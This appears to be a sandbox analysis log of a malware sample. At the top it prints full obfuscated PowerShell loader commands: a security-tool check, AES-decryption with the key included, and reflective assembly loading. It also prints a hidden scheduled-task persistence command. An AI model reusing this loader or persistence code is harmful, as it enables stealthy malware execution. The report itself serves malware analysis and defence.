Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\appdata\local\temp\1010782021\spreadtest.cmd';$upfh='spipunlipunitipun'.replace('ipun', ''),'eytqnntytqnrypytqnoinytqntytqn'.replace('ytqn', ''),'rewatbawatbdlwatbinewatbswatb'.replace('watb', ''),'lozhirazhirdzhir'.replace('zhir', ''),'cocionpyciontocion'.replace('cion', ''),'eleblgxmeblgxntblgxatblgx'.replace('blgx', ''),'travhtqnvhtqsfvhtqormvhtqfvhtqinvhtqalvhtqbvhtqlvhtqocvhtqkvhtq'.replace('vhtq', ''),'maincuvnmncuvoduncuvlencuv'.replace('ncuv', ''),'dehlmbcohlmbmphlmbreshlmbshlmb'.replace('hlmb', ''),'frykguomykgubykguasykgueykgu64ykgustykgurykguiykgungykgu'.replace('ykgu', ''),'getxkyicuxkyirrxkyientxkyiprxkyiocexkyisxkyisxkyi'.replace('xkyi', ''),'chtjfpantjfpgetjfpetjfpxtjfptetjfpntjfpsiotjfpntjfp'.replace('tjfp', ''),'ifrqcnfrqcvofrqckfrqcefrqc'.replace('frqc', ''),'cbnyhrbnyheatbnyhebnyhdecbnyhrybnyhptobnyhrbnyh'.replace('bnyh', '');powershell -w hidden;$modules=[system.diagnostics.process]::($upfh[10])().modules;if ($modules -match 'hmpalert.dll') { exit; };function kiiiy($vdxgf){$bvibg=[system.security.cryptography.aes]::create();$bvibg.mode=[system.security.cryptography.ciphermode]::cbc;$bvibg.padding=[system.security.cryptography.paddingmode]::pkcs7;$bvibg.key=[system.convert]::($upfh[9])('rg9bvfirpydthcjwhkn1kl+2athiycxiofi7qk7dfvg=');$bvibg.iv=[system.convert]::($upfh[9])('egtu7s0nec7uingxirfvsq==');$etngb=$bvibg.($upfh[13])();$jgaou=$etngb.($upfh[6])($vdxgf,0,$vdxgf.length);$etngb.dispose();$bvibg.dispose();$jgaou;}function vtdgl($vdxgf){$wqeyp=new-object system.io.memorystream(,$vdxgf);$otomj=new-object system.io.memorystream;$dtjrr=new-object system.io.compression.gzipstream($wqeyp,[io.compression.compressionmode]::($upfh[8]));$dtjrr.($upfh[4])($otomj);$dtjrr.dispose();$wqeyp.dispose();$otomj.dispose();$otomj.toarray();}$bidzy=[system.io.file]::($upfh[2])([console]::title);$ytfzl=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 5).substring(2))));$dzthg=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 6).substring(2))));[system.reflection.assembly]::($upfh[3])([byte[]]$dzthg).($upfh[1]).($upfh[12])($null,$null);[system.reflection.assembly]::($upfh[3])([byte[]]$ytfzl).($upfh[1]).($upfh[12])($null,$null); "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'onenote 9294' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\network9294man.cmd') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\appdata\roaming\network9294man.cmd';$upfh='spipunlipunitipun'.replace('ipun', ''),'eytqnntytqnrypytqnoinytqntytqn'.replace('ytqn', ''),'rewatbawatbdlwatbinewatbswatb'.replace('watb', ''),'lozhirazhirdzhir'.replace('zhir', ''),'cocionpyciontocion'.replace('cion', ''),'eleblgxmeblgxntblgxatblgx'.replace('blgx', ''),'travhtqnvhtqsfvhtqormvhtqfvhtqinvhtqalvhtqbvhtqlvhtqocvhtqkvhtq'.replace('vhtq', ''),'maincuvnmncuvoduncuvlencuv'.replace('ncuv', ''),'dehlmbcohlmbmphlmbreshlmbshlmb'.replace('hlmb', ''),'frykguomykgubykguasykgueykgu64ykgustykgurykguiykgungykgu'.replace('ykgu', ''),'getxkyicuxkyirrxkyientxkyiprxkyiocexkyisxkyisxkyi'.replace('xkyi', ''),'chtjfpantjfpgetjfpetjfpxtjfptetjfpntjfpsiotjfpntjfp'.replace('tjfp', ''),'ifrqcnfrqcvofrqckfrqcefrqc'.replace('frqc', ''),'cbnyhrbnyheatbnyhebnyhdecbnyhrybnyhptobnyhrbnyh'.replace('bnyh', '');powershell -w hidden;$modules=[system.diagnostics.process]::($upfh[10])().modules;if ($modules -match 'hmpalert.dll') { exit; };function kiiiy($vdxgf){$bvibg=[system.security.cryptography.aes]::create();$bvibg.mode=[system.security.cryptography.ciphermode]::cbc;$bvibg.padding=[system.security.cryptography.paddingmode]::pkcs7;$bvibg.key=[system.convert]::($upfh[9])('rg9bvfirpydthcjwhkn1kl+2athiycxiofi7qk7dfvg=');$bvibg.iv=[system.convert]::($upfh[9])('egtu7s0nec7uingxirfvsq==');$etngb=$bvibg.($upfh[13])();$jgaou=$etngb.($upfh[6])($vdxgf,0,$vdxgf.length);$etngb.dispose();$bvibg.dispose();$jgaou;}function vtdgl($vdxgf){$wqeyp=new-object system.io.memorystream(,$vdxgf);$otomj=new-object system.io.memorystream;$dtjrr=new-object system.io.compression.gzipstream($wqeyp,[io.compression.compressionmode]::($upfh[8]));$dtjrr.($upfh[4])($otomj);$dtjrr.dispose();$wqeyp.dispose();$otomj.dispose();$otomj.toarray();}$bidzy=[system.io.file]::($upfh[2])([console]::title);$ytfzl=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 5).substring(2))));$dzthg=vtdgl (kiiiy ([convert]::($upfh[9])([system.linq.enumerable]::($upfh[5])($bidzy, 6).substring(2))));[system.reflection.assembly]::($upfh[3])([byte[]]$dzthg).($upfh[1]).($upfh[12])($null,$null);[system.reflection.assembly]::($upfh[3])([byte[]]$ytfzl).($upfh[1]).($upfh[12])($null,$null); "

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD64760

Source: file.exe	Binary or memory string: -~Program Manager
Source: explorer.exe, 0000001E.00000000.2657763614.0000000001071000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.3978057562.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000001E.00000000.2661039043.0000000004480000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2657763614.0000000001071000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000001E.00000000.2657763614.0000000001071000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.3978057562.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: file.exe, 00000000.00000002.2035253176.000000000093D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~Program Manager
Source: explorer.exe, 0000001E.00000000.2657763614.0000000001071000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001E.00000002.3978057562.0000000001071000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: skotes.exe, skotes.exe, 00000013.00000002.3971280835.0000000000F2B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: FProgram Manager
Source: explorer.exe, 0000001E.00000000.2656928253.0000000000A44000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.3958930436.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanq

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6B341 cpuid

0_2_6CB6B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010789001\build.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010789001\build.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010792001\1f49a13412.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010792001\1f49a13412.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
